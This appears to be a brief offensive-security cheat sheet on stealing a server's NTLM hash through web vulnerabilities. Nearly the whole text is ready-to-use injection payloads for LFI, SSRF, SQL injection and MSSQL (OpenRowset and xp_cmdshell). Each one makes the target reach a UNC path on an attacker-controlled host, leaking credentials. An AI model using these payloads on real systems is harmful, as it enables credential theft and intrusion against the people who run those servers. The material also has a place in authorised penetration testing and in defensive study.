If you discover a web vulnerability (such as LFI, SQLI, XXE, SSRF, SSTI) that allows you to include remote files, you can exploit it to steal the NTLM hash of the user running the process. For example:
# LFI
?page=\\<attaker>\test
# SSRF
?url=file://<attaker>/test
# SQL Injection
?id=1' union select null,load_file('\\\\<attaker>\\test'),null-- -
## MSSQL
?id=1' union select null,(select x from OpenRowset(BULK '\\<attaker>\test',SINGLE_CLOB) R(x)),null-- -
?id=1' union select null,(EXEC xp_cmdshell 'dir \\<attaker>\test'),null-- -